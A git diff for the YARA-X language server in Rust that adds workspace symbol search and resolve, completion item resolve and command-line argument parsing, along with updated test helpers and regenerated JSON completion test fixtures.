b/ls/src/features/workspace_symbol.rs @@ -0,0 +1,87 @@ +use async_lsp::lsp_types::{ + Location, OneOf, SymbolKind, Url, WorkspaceLocation, WorkspaceSymbol, + WorkspaceSymbolResponse, +}; +use std::sync::Arc; +use yara_x_parser::cst::{Immutable, Node}; + +use crate::{ + documents::storage::DocumentStorage, + utils::{cst_traversal::rule_ident, position::node_to_range}, +}; + +/// Returns true, when the workspace symbol name matches the user query using +/// relaxed, case-insensitive matching. As stated in the protocol specification, +/// the language server should not do the prefix, substring or other strict matching. +fn relaxed_query_matching(name: &str, query: &str) -> bool { + // Queries that are longer than the name won't ever match. + if name.len() < query.len() { + return false; + } + + let mut name_chars = name.chars(); + + query.chars().all(|q| name_chars.any(|n| n.eq_ignore_ascii_case(&q))) +} + +pub fn workspace_symbol( + documents: Arc, + workspace_resolve_location: bool, + query: &str, +) -> Option { + // If client supports resolve operation for workspace symbols, then the + // language server can compute the location of the symbols later. Otherwise, + // language server has to compute the position right away here. + let location = if workspace_resolve_location { + |uri: Url, _node: Node| { + OneOf::Right(WorkspaceLocation { uri }) + } + } else { + |uri: Url, node: Node| { + OneOf::Left(Location { uri, range: node_to_range(&node).unwrap() }) + } + }; + + Some(WorkspaceSymbolResponse::Nested( + documents + .workspace_rules()? + .filter_map(|(rule_decl, uri)| { + let ident = rule_ident(&rule_decl)?; + + if relaxed_query_matching(ident.text(), query) { + Some(WorkspaceSymbol { + name: ident.text().to_string(), + // The same kind for rules as in Document Symbols + // feature + kind: SymbolKind::FUNCTION, + tags: None, + container_name: None, + location: location(uri, rule_decl), + data: None, + }) + } else { + None + } + }) + .collect(), + )) +} + +pub fn workspace_symbol_resolve( + documents: Arc, + symbol: WorkspaceSymbol, +) -> WorkspaceSymbol { + if let OneOf::Right(WorkspaceLocation { uri }) = &symbol.location + && let Some(rule) = documents.workspace_resolve(uri, &symbol.name) + { + WorkspaceSymbol { + location: OneOf::Left(Location { + uri: uri.clone(), + range: node_to_range(&rule).unwrap(), + }), + ..symbol + } + } else { + symbol + } +} diff --git a/ls/src/main.rs b/ls/src/main.rs index efe4b9a6c..a68778b06 100644 --- a/ls/src/main.rs +++ b/ls/src/main.rs @@ -12,6 +12,11 @@ pub async fn main() -> Result<(), async_lsp::Error> { .with_writer(std::io::stderr) .init(); + // Parse command-line arguments. `-h`/`--help` and `-V`/`--version` are + // handled by clap, printing the corresponding information and exiting. + // When no arguments are given the language server starts as usual. + clap::command!().about("Language server for YARA-X").get_matches(); + #[cfg(unix)] let (stdin, stdout) = ( async_lsp::stdio::PipeStdin::lock_tokio()?, diff --git a/ls/src/server.rs b/ls/src/server.rs index 7b55c72f2..1784244b6 100644 --- a/ls/src/server.rs +++ b/ls/src/server.rs @@ -19,7 +19,7 @@ use async_lsp::lsp_types::DidChangeWatchedFilesParams; use async_lsp::lsp_types::{ CodeActionParams, CodeActionProviderCapability, CodeActionResponse, - CompletionOptions, CompletionParams, CompletionResponse, + CompletionItem, CompletionOptions, CompletionParams, CompletionResponse, ConfigurationItem, ConfigurationParams, DiagnosticOptions, DiagnosticServerCapabilities, DidChangeConfigurationParams, DidChangeTextDocumentParams, DidChangeWatchedFilesRegistrationOptions, @@ -41,8 +41,10 @@ use async_lsp::lsp_types::{ SignatureHelpOptions, SignatureHelpParams, TextDocumentSyncCapability, TextDocumentSyncKind, TextDocumentSyncOptions, TextDocumentSyncSaveOptions, TextEdit, Unregistration, - UnregistrationParams, Url, WatchKind, WorkspaceEdit, - WorkspaceFoldersServerCapabilities, WorkspaceServerCapabilities, + UnregistrationParams, Url, WatchKind, WorkDoneProgressOptions, + WorkspaceEdit, WorkspaceFoldersServerCapabilities, + WorkspaceServerCapabilities, WorkspaceSymbol, WorkspaceSymbolOptions, + WorkspaceSymbolParams, WorkspaceSymbolResponse, }; use async_lsp::router::Router; use async_lsp::{ClientSocket, LanguageClient, LanguageServer, ResponseError}; @@ -52,7 +54,7 @@ use serde_json::{from_value, to_value}; use crate::configuration::Config; use crate::documents::storage::DocumentStorage; use crate::features::code_action::code_actions; -use crate::features::completion::completion; +use crate::features::completion::{completion, resolve_completion}; use crate::features::diagnostics::diagnostics; use crate::features::document_highlight::document_highlight; use crate::features::document_symbol::document_symbol; @@ -67,6 +69,9 @@ use crate::features::semantic_tokens::{ SEMANTIC_TOKEN_MODIFIERS, SEMANTIC_TOKEN_TYPES, semantic_tokens, }; use crate::features::signature_help::signature_help; +use crate::features::workspace_symbol::{ + workspace_symbol, workspace_symbol_resolve, +}; macro_rules! in_thread { ($code:expr) => {{ @@ -101,6 +106,9 @@ struct ClientCapabilities { /// Flag indicating if the client supports `workspace/configuration` /// requests. support_config_requests: bool, + /// Whether a client can resolve additional information for Workspace + /// symbols, which in this case is the location of the symbol. + workspace_resolve_location: bool, } /// Represents a YARA language server. @@ -160,7 +168,8 @@ impl LanguageServer for YARALanguageServer { == Some(true) }); - // Check if client supportst the dynmiac registration of watched files change notifications. + // Check if client supportst the dynmiac registration of watched + // files change notifications. self.client_capabilities.dynamic_registration_watched_files = workspace_client_capabilities .did_change_watched_files @@ -171,6 +180,19 @@ impl LanguageServer for YARALanguageServer { }); self.client_capabilities.support_config_requests = workspace_client_capabilities.configuration == Some(true); + + // Check if client can resolve additional information for + // Workspace symbols (location). + self.client_capabilities.workspace_resolve_location = + if let Some(symbol) = &workspace_client_capabilities.symbol + && let Some(resolve_support) = &symbol.resolve_support + { + resolve_support + .properties + .contains(&"location.range".to_string()) + } else { + false + }; } if let Some(folder) = params @@ -211,7 +233,7 @@ impl LanguageServer for YARALanguageServer { references_provider: Some(OneOf::Left(true)), document_formatting_provider: Some(OneOf::Left(true)), completion_provider: Some(CompletionOptions { - resolve_provider: Some(false), + resolve_provider: Some(true), trigger_characters: Some(vec![ ".".to_string(), "!".to_string(), @@ -254,6 +276,10 @@ impl LanguageServer for YARALanguageServer { ..Default::default() }), inlay_hint_provider: Some(OneOf::Left(true)), + workspace_symbol_provider: Some(OneOf::Right(WorkspaceSymbolOptions{ + resolve_provider: Some(true), + work_done_progress_options: WorkDoneProgressOptions::default() + })), workspace: Some(WorkspaceServerCapabilities{ workspace_folders: Some(WorkspaceFoldersServerCapabilities{ supported: Some(true), @@ -329,9 +355,10 @@ impl LanguageServer for YARALanguageServer { let uri = params.text_document_position_params.text_document.uri; let position = params.text_document_position_params.position; let documents = Arc::clone(&self.documents); + let config = Arc::clone(&self.config); Box::pin(async move { - Ok(hover(documents, uri, position) + Ok(hover(documents, uri, position, &config.documentation) .map(|contents| Hover { contents, range: None })) }) } @@ -415,6 +442,19 @@ impl LanguageServer for YARALanguageServer { }) } + /// This method resolves additional information for a completion item. + fn completion_item_resolve( + &mut self, + item: CompletionItem, + ) -> BoxFuture<'static, Result> { + let documents = Arc::clone(&self.documents); + let config = Arc::clone(&self.config); + + Box::pin(async move { + Ok(resolve_completion(documents, &config.documentation, item)) + }) + } + /// This method is called when the user requests to highlight occurrences /// of a symbol in the document. /// @@ -607,6 +647,40 @@ impl LanguageServer for YARALanguageServer { Box::pin(async move { Ok(inlay_hint(documents, uri, range)) }) } + /// This method is called to search for the rule declaration in the + /// entire workspace. + fn symbol( + &mut self, + params: WorkspaceSymbolParams, + ) -> BoxFuture<'static, Result, Self::Error>> + { + let documents = Arc::clone(&self.documents); + let workspace_resolve_location = + self.client_capabilities.workspace_resolve_location; + + Box::pin(async move { + Ok(workspace_symbol( + documents, + workspace_resolve_location, + ¶ms.query, + )) + }) + } + + /// This method is called to resolve additional information for ceratin + /// workspace symbol, when user chose one. In this case, the language + /// server will find the position of the rule declaration. + fn workspace_symbol_resolve( + &mut self, + params: WorkspaceSymbol, + ) -> BoxFuture<'static, Result> { + let documents = Arc::clone(&self.documents); + + Box::pin( + async move { Ok(workspace_symbol_resolve(documents, params)) }, + ) + } + /// This method is called when a document is opened. /// /// It adds the document to the document store and triggers a diagnostic diff --git a/ls/src/tests/mod.rs b/ls/src/tests/mod.rs index 96866e147..8ba2bd8c9 100644 --- a/ls/src/tests/mod.rs +++ b/ls/src/tests/mod.rs @@ -11,14 +11,17 @@ use async_lsp::lsp_types::request::{ CodeActionRequest, Completion, DocumentDiagnosticRequest, DocumentHighlightRequest, DocumentSymbolRequest, Formatting, GotoDefinition, HoverRequest, InlayHintRequest, References, Rename, - Request, SelectionRangeRequest, SemanticTokensFullRequest, - SemanticTokensRangeRequest, SignatureHelpRequest, + Request, ResolveCompletionItem, SelectionRangeRequest, + SemanticTokensFullRequest, SemanticTokensRangeRequest, + SignatureHelpRequest, WorkspaceSymbolRequest, WorkspaceSymbolResolve, }; use async_lsp::lsp_types::{ ClientCapabilities, DiagnosticClientCapabilities, DidCloseTextDocumentParams, DidOpenTextDocumentParams, InitializeParams, InitializedParams, TextDocumentClientCapabilities, TextDocumentIdentifier, - TextDocumentItem, Url, WorkspaceFolder, + TextDocumentItem, Url, WorkspaceClientCapabilities, WorkspaceFolder, + WorkspaceSymbolClientCapabilities, + WorkspaceSymbolResolveSupportCapability, }; use async_lsp::router::Router; use async_lsp::server::LifecycleLayer; @@ -32,8 +35,11 @@ use crate::server::YARALanguageServer; struct ClientState; -async fn lsp_test(initialization_options: Option, f: F) -where +async fn lsp_test( + testdata_path: &Path, + initialization_options: Option, + f: F, +) where R: Future, F: Fn(ServerSocket) -> R, { @@ -59,9 +65,8 @@ where _ = server.run_buffered(server_rx, server_tx) => {} _ = client.run_buffered(client_rx, client_tx) => {} _ = async { - let root_path = PathBuf::from("src/tests/testdata"); let root_uri = Url::from_file_path( - root_path.canonicalize().unwrap() + testdata_path.canonicalize().unwrap() ).unwrap(); // Send request to initialize the server. @@ -72,15 +77,26 @@ where name: "testdata".to_string(), }]), capabilities: ClientCapabilities { - text_document: Some(TextDocumentClientCapabilities { - diagnostic: Some(DiagnosticClientCapabilities { - dynamic_registration: Some(true), - ..Default::default() - }), - ..Default::default() - }), - ..Default::default() - }, + text_document: Some(TextDocumentClientCapabilities { + diagnostic: Some(DiagnosticClientCapabilities { + dynamic_registration: Some(true), + ..Default::default() + }), + ..Default::default() + }), + workspace: Some(WorkspaceClientCapabilities { + symbol: Some(WorkspaceSymbolClientCapabilities { + resolve_support: Some( + WorkspaceSymbolResolveSupportCapability { + properties: vec![String::from("location.range")], + }, + ), + ..Default::default() + }), + ..Default::default() + }), + ..Default::default() + }, initialization_options, ..Default::default() }) @@ -129,7 +145,20 @@ async fn lsp_request, R: Request>(path: P) where R::Result: serde::Serialize + serde::de::DeserializeOwned + Debug, { - let path = PathBuf::from("src/tests/testdata").join(path); + lsp_request_testdata_path::( + path, + &PathBuf::from("src/tests/testdata"), + ) + .await; +} + +async fn lsp_request_testdata_path, R: Request>( + path: P, + testdata_path: &Path, +) where + R::Result: serde::Serialize + serde::de::DeserializeOwned + Debug, +{ + let path = testdata_path.join(path); let abs_path = path.canonicalize().unwrap(); let test_dir = Url::from_file_path(abs_path.parent().unwrap()).unwrap(); @@ -143,7 +172,7 @@ where None }; - lsp_test(initialization_options, async |server_socket| { + lsp_test(testdata_path, initialization_options, async |server_socket| { open_document(&server_socket, &abs_path).await; let mut mint = goldenfile::Mint::new("."); @@ -219,10 +248,10 @@ fn replace_in_json(value: &mut Value, from: &str, to: &str) { } } -/// Sort maps by key in JSON values. +/// Sort maps by key and arrays of objects in JSON values. /// -/// This guarantees that items in maps have always the same order, which -/// makes the responses in test cases predictable. +/// This guarantees that items in maps and arrays of objects have always the +/// same order, which makes the responses in test cases predictable. fn sort_json(value: &mut Value) { match value { Value::Object(obj) => { @@ -237,9 +266,12 @@ fn sort_json(value: &mut Value) { obj.extend(entries); } Value::Array(arr) => { - for v in arr { + for v in arr.iter_mut() { sort_json(v); } + if arr.iter().all(Value::is_object) { + arr.sort_by_cached_key(|v| v.to_string()); + } } _ => {} } @@ -309,6 +341,7 @@ async fn hover() { lsp_request::<_, HoverRequest>("hover10.yar").await; lsp_request::<_, HoverRequest>("hover11.yar").await; lsp_request::<_, HoverRequest>("hover12.yar").await; + lsp_request::<_, HoverRequest>("hover13.yar").await; } #[tokio::test] @@ -401,6 +434,21 @@ async fn completion() { #[cfg(feature = "magic-module")] lsp_request::<_, Completion>("completion25.yar").await; + + #[cfg(not(feature = "magic-module"))] + lsp_request::<_, Completion>("completion26.yar").await; + + #[cfg(not(feature = "magic-module"))] + lsp_request::<_, Completion>("completion27.yar").await; + + // Auto-import of the module when completing its fields, directly or + // through variables declared in `for` and `with` statements. + lsp_request::<_, Completion>("completion28.yar").await; + lsp_request::<_, Completion>("completion29.yar").await; + lsp_request::<_, Completion>("completion30.yar").await; + + lsp_request::<_, ResolveCompletionItem>("completion_resolve1.yar").await; + lsp_request::<_, ResolveCompletionItem>("completion_resolve2.yar").await; } #[tokio::test] @@ -435,3 +483,35 @@ async fn signature_help() { async fn inlay_hint() { lsp_request::<_, InlayHintRequest>("inlay_hint.yar").await; } + +#[tokio::test] +async fn workspace_symbols() { + let workspace_testdata_path = + PathBuf::from("src/tests/testdata/workspace_symbols"); + lsp_request_testdata_path::<_, WorkspaceSymbolRequest>( + "workspace_symbols1.yar", + &workspace_testdata_path, + ) + .await; + lsp_request_testdata_path::<_, WorkspaceSymbolRequest>( + "workspace_symbols2.yar", + &workspace_testdata_path, + ) + .await; + lsp_request_testdata_path::<_, WorkspaceSymbolRequest>( + "workspace_symbols3.yar", + &workspace_testdata_path, + ) + .await; +} + +#[tokio::test] +async fn workspace_symbols_resolve() { + let workspace_testdata_path = + PathBuf::from("src/tests/testdata/workspace_symbols"); + lsp_request_testdata_path::<_, WorkspaceSymbolResolve>( + "workspace_symbols_resolve1.yar", + &workspace_testdata_path, + ) + .await; +} diff --git a/ls/src/tests/testdata/completion1.response.json b/ls/src/tests/testdata/completion1.response.json index 3400c6dac..b0d5e57b7 100644 --- a/ls/src/tests/testdata/completion1.response.json +++ b/ls/src/tests/testdata/completion1.response.json @@ -1,31 +1,31 @@ [ { - "insertText": "rule ${1:ident} {\n strings:\n $${2:a} = \"${3}\"\n condition:\n $${2:a}${0}\n}", + "insertText": "import \"${1:}\"${0}", "insertTextFormat": 2, "insertTextMode": 2, "kind": 2, - "label": "rule" + "label": "import" }, { - "insertText": "import \"${1:}\"${0}", + "insertText": "include \"${1:}\"${0}", "insertTextFormat": 2, "insertTextMode": 2, "kind": 2, - "label": "import" + "label": "include" }, { - "insertText": "include \"${1:}\"${0}", + "insertText": "rule ${1:ident} {\n strings:\n $${2:a} = \"${3}\"\n condition:\n $${2:a}${0}\n}", "insertTextFormat": 2, "insertTextMode": 2, "kind": 2, - "label": "include" + "label": "rule" }, { "kind": 14, - "label": "private" + "label": "global" }, { "kind": 14, - "label": "global" + "label": "private" } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion10.response.json b/ls/src/tests/testdata/completion10.response.json index 5e4089845..b10a8786c 100644 --- a/ls/src/tests/testdata/completion10.response.json +++ b/ls/src/tests/testdata/completion10.response.json @@ -49,16 +49,6 @@ "label": "math", "preselect": true }, - { - "kind": 9, - "label": "msi", - "preselect": true - }, - { - "kind": 9, - "label": "olecf", - "preselect": true - }, { "kind": 9, "label": "pe", @@ -84,11 +74,6 @@ "label": "time", "preselect": true }, - { - "kind": 9, - "label": "vba", - "preselect": true - }, { "kind": 9, "label": "vt", diff --git a/ls/src/tests/testdata/completion11.response.json b/ls/src/tests/testdata/completion11.response.json index 5e4089845..b10a8786c 100644 --- a/ls/src/tests/testdata/completion11.response.json +++ b/ls/src/tests/testdata/completion11.response.json @@ -49,16 +49,6 @@ "label": "math", "preselect": true }, - { - "kind": 9, - "label": "msi", - "preselect": true - }, - { - "kind": 9, - "label": "olecf", - "preselect": true - }, { "kind": 9, "label": "pe", @@ -84,11 +74,6 @@ "label": "time", "preselect": true }, - { - "kind": 9, - "label": "vba", - "preselect": true - }, { "kind": 9, "label": "vt", diff --git a/ls/src/tests/testdata/completion14.response.json b/ls/src/tests/testdata/completion14.response.json index f113f06be..8d332f5a9 100644 --- a/ls/src/tests/testdata/completion14.response.json +++ b/ls/src/tests/testdata/completion14.response.json @@ -1,113 +1,4 @@ [ - { - "kind": 6, - "label": "with_for", - "labelDetails": { - "description": "Rule" - } - }, - { - "kind": 14, - "label": "and" - }, - { - "kind": 14, - "label": "or" - }, - { - "kind": 14, - "label": "all" - }, - { - "kind": 14, - "label": "any" - }, - { - "kind": 14, - "label": "none" - }, - { - "kind": 14, - "label": "of" - }, - { - "insertText": "at ${1:expression}", - "insertTextFormat": 2, - "kind": 14, - "label": "at" - }, - { - "insertText": "in (${1:}..${2:})", - "insertTextFormat": 2, - "kind": 14, - "label": "in" - }, - { - "kind": 14, - "label": "filesize" - }, - { - "insertText": "pe.entry_point", - "insertTextFormat": 2, - "kind": 14, - "label": "entrypoint" - }, - { - "kind": 14, - "label": "true" - }, - { - "kind": 14, - "label": "false" - }, - { - "kind": 14, - "label": "not" - }, - { - "kind": 14, - "label": "defined" - }, - { - "insertText": "for ${1:quantifier} ${2:iterable} : ( ${3:expression} )", - "insertTextFormat": 2, - "kind": 14, - "label": "for" - }, - { - "insertText": "with ${1:declarations} : ( ${3:expression} )", - "insertTextFormat": 2, - "kind": 14, - "label": "with" - }, - { - "kind": 6, - "label": "k", - "labelDetails": { - "description": "Variable" - } - }, - { - "kind": 6, - "label": "v", - "labelDetails": { - "description": "Variable" - } - }, - { - "kind": 6, - "label": "version_info", - "labelDetails": { - "description": "Variable" - } - }, - { - "kind": 6, - "label": "another", - "labelDetails": { - "description": "Variable" - } - }, { "additionalTextEdits": [ { @@ -298,48 +189,6 @@ "kind": 9, "label": "math" }, - { - "additionalTextEdits": [ - { - "newText": "import \"msi\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "msi" - }, - { - "additionalTextEdits": [ - { - "newText": "import \"olecf\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "olecf" - }, - { - "kind": 9, - "label": "pe" - }, { "additionalTextEdits": [ { @@ -416,25 +265,6 @@ "kind": 9, "label": "time" }, - { - "additionalTextEdits": [ - { - "newText": "import \"vba\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "vba" - }, { "additionalTextEdits": [ { @@ -472,5 +302,121 @@ ], "kind": 9, "label": "zip" + }, + { + "data": { + "uri": "${test_dir}/completion14.yar" + }, + "kind": 6, + "label": "with_for", + "labelDetails": { + "description": "Rule" + } + }, + { + "insertText": "at ${1:expression}", + "insertTextFormat": 2, + "kind": 14, + "label": "at" + }, + { + "insertText": "for ${1:quantifier} ${2:iterable} : ( ${3:expression} )", + "insertTextFormat": 2, + "kind": 14, + "label": "for" + }, + { + "insertText": "in (${1:}..${2:})", + "insertTextFormat": 2, + "kind": 14, + "label": "in" + }, + { + "insertText": "pe.entry_point", + "insertTextFormat": 2, + "kind": 14, + "label": "entrypoint" + }, + { + "insertText": "with ${1:declarations} : ( ${3:expression} )", + "insertTextFormat": 2, + "kind": 14, + "label": "with" + }, + { + "kind": 14, + "label": "all" + }, + { + "kind": 14, + "label": "and" + }, + { + "kind": 14, + "label": "any" + }, + { + "kind": 14, + "label": "defined" + }, + { + "kind": 14, + "label": "false" + }, + { + "kind": 14, + "label": "filesize" + }, + { + "kind": 14, + "label": "none" + }, + { + "kind": 14, + "label": "not" + }, + { + "kind": 14, + "label": "of" + }, + { + "kind": 14, + "label": "or" + }, + { + "kind": 14, + "label": "true" + }, + { + "kind": 6, + "label": "another", + "labelDetails": { + "description": "Variable" + } + }, + { + "kind": 6, + "label": "k", + "labelDetails": { + "description": "Variable" + } + }, + { + "kind": 6, + "label": "v", + "labelDetails": { + "description": "Variable" + } + }, + { + "kind": 6, + "label": "version_info", + "labelDetails": { + "description": "Variable" + } + }, + { + "kind": 9, + "label": "pe" } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion15.response.json b/ls/src/tests/testdata/completion15.response.json index 8ddf333a8..8b7f6fd78 100644 --- a/ls/src/tests/testdata/completion15.response.json +++ b/ls/src/tests/testdata/completion15.response.json @@ -1,92 +1,4 @@ [ - { - "kind": 6, - "label": "completion_include", - "labelDetails": { - "description": "Rule" - } - }, - { - "kind": 6, - "label": "test", - "labelDetails": { - "description": "completion13.yar" - } - }, - { - "kind": 14, - "label": "and" - }, - { - "kind": 14, - "label": "or" - }, - { - "kind": 14, - "label": "all" - }, - { - "kind": 14, - "label": "any" - }, - { - "kind": 14, - "label": "none" - }, - { - "kind": 14, - "label": "of" - }, - { - "insertText": "at ${1:expression}", - "insertTextFormat": 2, - "kind": 14, - "label": "at" - }, - { - "insertText": "in (${1:}..${2:})", - "insertTextFormat": 2, - "kind": 14, - "label": "in" - }, - { - "kind": 14, - "label": "filesize" - }, - { - "insertText": "pe.entry_point", - "insertTextFormat": 2, - "kind": 14, - "label": "entrypoint" - }, - { - "kind": 14, - "label": "true" - }, - { - "kind": 14, - "label": "false" - }, - { - "kind": 14, - "label": "not" - }, - { - "kind": 14, - "label": "defined" - }, - { - "insertText": "for ${1:quantifier} ${2:iterable} : ( ${3:expression} )", - "insertTextFormat": 2, - "kind": 14, - "label": "for" - }, - { - "insertText": "with ${1:declarations} : ( ${3:expression} )", - "insertTextFormat": 2, - "kind": 14, - "label": "with" - }, { "additionalTextEdits": [ { @@ -277,48 +189,6 @@ "kind": 9, "label": "math" }, - { - "additionalTextEdits": [ - { - "newText": "import \"msi\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "msi" - }, - { - "additionalTextEdits": [ - { - "newText": "import \"olecf\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "olecf" - }, - { - "kind": 9, - "label": "pe" - }, { "additionalTextEdits": [ { @@ -395,25 +265,6 @@ "kind": 9, "label": "time" }, - { - "additionalTextEdits": [ - { - "newText": "import \"vba\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "vba" - }, { "additionalTextEdits": [ { @@ -451,5 +302,103 @@ ], "kind": 9, "label": "zip" + }, + { + "data": { + "uri": "${test_dir}/completion13.yar" + }, + "kind": 6, + "label": "test", + "labelDetails": { + "description": "completion13.yar" + } + }, + { + "data": { + "uri": "${test_dir}/completion15.yar" + }, + "kind": 6, + "label": "completion_include", + "labelDetails": { + "description": "Rule" + } + }, + { + "insertText": "at ${1:expression}", + "insertTextFormat": 2, + "kind": 14, + "label": "at" + }, + { + "insertText": "for ${1:quantifier} ${2:iterable} : ( ${3:expression} )", + "insertTextFormat": 2, + "kind": 14, + "label": "for" + }, + { + "insertText": "in (${1:}..${2:})", + "insertTextFormat": 2, + "kind": 14, + "label": "in" + }, + { + "insertText": "pe.entry_point", + "insertTextFormat": 2, + "kind": 14, + "label": "entrypoint" + }, + { + "insertText": "with ${1:declarations} : ( ${3:expression} )", + "insertTextFormat": 2, + "kind": 14, + "label": "with" + }, + { + "kind": 14, + "label": "all" + }, + { + "kind": 14, + "label": "and" + }, + { + "kind": 14, + "label": "any" + }, + { + "kind": 14, + "label": "defined" + }, + { + "kind": 14, + "label": "false" + }, + { + "kind": 14, + "label": "filesize" + }, + { + "kind": 14, + "label": "none" + }, + { + "kind": 14, + "label": "not" + }, + { + "kind": 14, + "label": "of" + }, + { + "kind": 14, + "label": "or" + }, + { + "kind": 14, + "label": "true" + }, + { + "kind": 9, + "label": "pe" } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion16.response.json b/ls/src/tests/testdata/completion16.response.json index 7c282ca67..6bbe23208 100644 --- a/ls/src/tests/testdata/completion16.response.json +++ b/ls/src/tests/testdata/completion16.response.json @@ -1,18 +1,18 @@ [ { - "insertText": "virtual_address", + "insertText": "size", "insertTextFormat": 2, "kind": 5, - "label": "virtual_address", + "label": "size", "labelDetails": { "description": "integer" } }, { - "insertText": "size", + "insertText": "virtual_address", "insertTextFormat": 2, "kind": 5, - "label": "size", + "label": "virtual_address", "labelDetails": { "description": "integer" } diff --git a/ls/src/tests/testdata/completion17.response.json b/ls/src/tests/testdata/completion17.response.json index 7c282ca67..6bbe23208 100644 --- a/ls/src/tests/testdata/completion17.response.json +++ b/ls/src/tests/testdata/completion17.response.json @@ -1,18 +1,18 @@ [ { - "insertText": "virtual_address", + "insertText": "size", "insertTextFormat": 2, "kind": 5, - "label": "virtual_address", + "label": "size", "labelDetails": { "description": "integer" } }, { - "insertText": "size", + "insertText": "virtual_address", "insertTextFormat": 2, "kind": 5, - "label": "size", + "label": "virtual_address", "labelDetails": { "description": "integer" } diff --git a/ls/src/tests/testdata/completion18.request.json b/ls/src/tests/testdata/completion18.request.json index a0fb36edc..d8f423091 100644 --- a/ls/src/tests/testdata/completion18.request.json +++ b/ls/src/tests/testdata/completion18.request.json @@ -3,7 +3,7 @@ "uri": "${test_dir}/completion18.yar" }, "position": { - "line": 5, + "line": 6, "character": 5 } } diff --git a/ls/src/tests/testdata/completion18.response.json b/ls/src/tests/testdata/completion18.response.json index fc49f45d7..d1230f453 100644 --- a/ls/src/tests/testdata/completion18.response.json +++ b/ls/src/tests/testdata/completion18.response.json @@ -1,5 +1,9 @@ [ { + "documentation": { + "kind": "markdown", + "value": "Pattern value is:\n\n```\n$my_str = \"hello\"\n```\n" + }, "kind": 1, "label": "my_str", "labelDetails": { @@ -7,6 +11,10 @@ } }, { + "documentation": { + "kind": "markdown", + "value": "Pattern value is:\n\n```\n$other = \"world\"\n```\n" + }, "kind": 1, "label": "other", "labelDetails": { diff --git a/ls/src/tests/testdata/completion18.yar b/ls/src/tests/testdata/completion18.yar index 222c01048..2d132786f 100644 --- a/ls/src/tests/testdata/completion18.yar +++ b/ls/src/tests/testdata/completion18.yar @@ -1,5 +1,6 @@ rule test_pattern_ident { strings: + $ = "anonymous" $my_str = "hello" $other = "world" condition: diff --git a/ls/src/tests/testdata/completion19.response.json b/ls/src/tests/testdata/completion19.response.json index fc49f45d7..d1230f453 100644 --- a/ls/src/tests/testdata/completion19.response.json +++ b/ls/src/tests/testdata/completion19.response.json @@ -1,5 +1,9 @@ [ { + "documentation": { + "kind": "markdown", + "value": "Pattern value is:\n\n```\n$my_str = \"hello\"\n```\n" + }, "kind": 1, "label": "my_str", "labelDetails": { @@ -7,6 +11,10 @@ } }, { + "documentation": { + "kind": "markdown", + "value": "Pattern value is:\n\n```\n$other = \"world\"\n```\n" + }, "kind": 1, "label": "other", "labelDetails": { diff --git a/ls/src/tests/testdata/completion2.response.json b/ls/src/tests/testdata/completion2.response.json index a96621fab..6a9cb1851 100644 --- a/ls/src/tests/testdata/completion2.response.json +++ b/ls/src/tests/testdata/completion2.response.json @@ -1,99 +1,4 @@ [ - { - "kind": 6, - "label": "rule_ident_propose_on_the_end", - "labelDetails": { - "description": "Rule" - } - }, - { - "kind": 6, - "label": "first_rule", - "labelDetails": { - "description": "Rule" - } - }, - { - "kind": 6, - "label": "second_rule", - "labelDetails": { - "description": "Rule" - } - }, - { - "kind": 14, - "label": "and" - }, - { - "kind": 14, - "label": "or" - }, - { - "kind": 14, - "label": "all" - }, - { - "kind": 14, - "label": "any" - }, - { - "kind": 14, - "label": "none" - }, - { - "kind": 14, - "label": "of" - }, - { - "insertText": "at ${1:expression}", - "insertTextFormat": 2, - "kind": 14, - "label": "at" - }, - { - "insertText": "in (${1:}..${2:})", - "insertTextFormat": 2, - "kind": 14, - "label": "in" - }, - { - "kind": 14, - "label": "filesize" - }, - { - "insertText": "pe.entry_point", - "insertTextFormat": 2, - "kind": 14, - "label": "entrypoint" - }, - { - "kind": 14, - "label": "true" - }, - { - "kind": 14, - "label": "false" - }, - { - "kind": 14, - "label": "not" - }, - { - "kind": 14, - "label": "defined" - }, - { - "insertText": "for ${1:quantifier} ${2:iterable} : ( ${3:expression} )", - "insertTextFormat": 2, - "kind": 14, - "label": "for" - }, - { - "insertText": "with ${1:declarations} : ( ${3:expression} )", - "insertTextFormat": 2, - "kind": 14, - "label": "with" - }, { "additionalTextEdits": [ { @@ -284,44 +189,6 @@ "kind": 9, "label": "math" }, - { - "additionalTextEdits": [ - { - "newText": "import \"msi\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "msi" - }, - { - "additionalTextEdits": [ - { - "newText": "import \"olecf\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "olecf" - }, { "additionalTextEdits": [ { @@ -417,25 +284,6 @@ "kind": 9, "label": "time" }, - { - "additionalTextEdits": [ - { - "newText": "import \"vba\"\n", - "range": { - "end": { - "character": 0, - "line": 0 - }, - "start": { - "character": 0, - "line": 0 - } - } - } - ], - "kind": 9, - "label": "vba" - }, { "additionalTextEdits": [ { @@ -473,5 +321,109 @@ ], "kind": 9, "label": "zip" + }, + { + "data": { + "uri": "${test_dir}/completion2.yar" + }, + "kind": 6, + "label": "first_rule", + "labelDetails": { + "description": "Rule" + } + }, + { + "data": { + "uri": "${test_dir}/completion2.yar" + }, + "kind": 6, + "label": "rule_ident_propose_on_the_end", + "labelDetails": { + "description": "Rule" + } + }, + { + "data": { + "uri": "${test_dir}/completion2.yar" + }, + "kind": 6, + "label": "second_rule", + "labelDetails": { + "description": "Rule" + } + }, + { + "insertText": "at ${1:expression}", + "insertTextFormat": 2, + "kind": 14, + "label": "at" + }, + 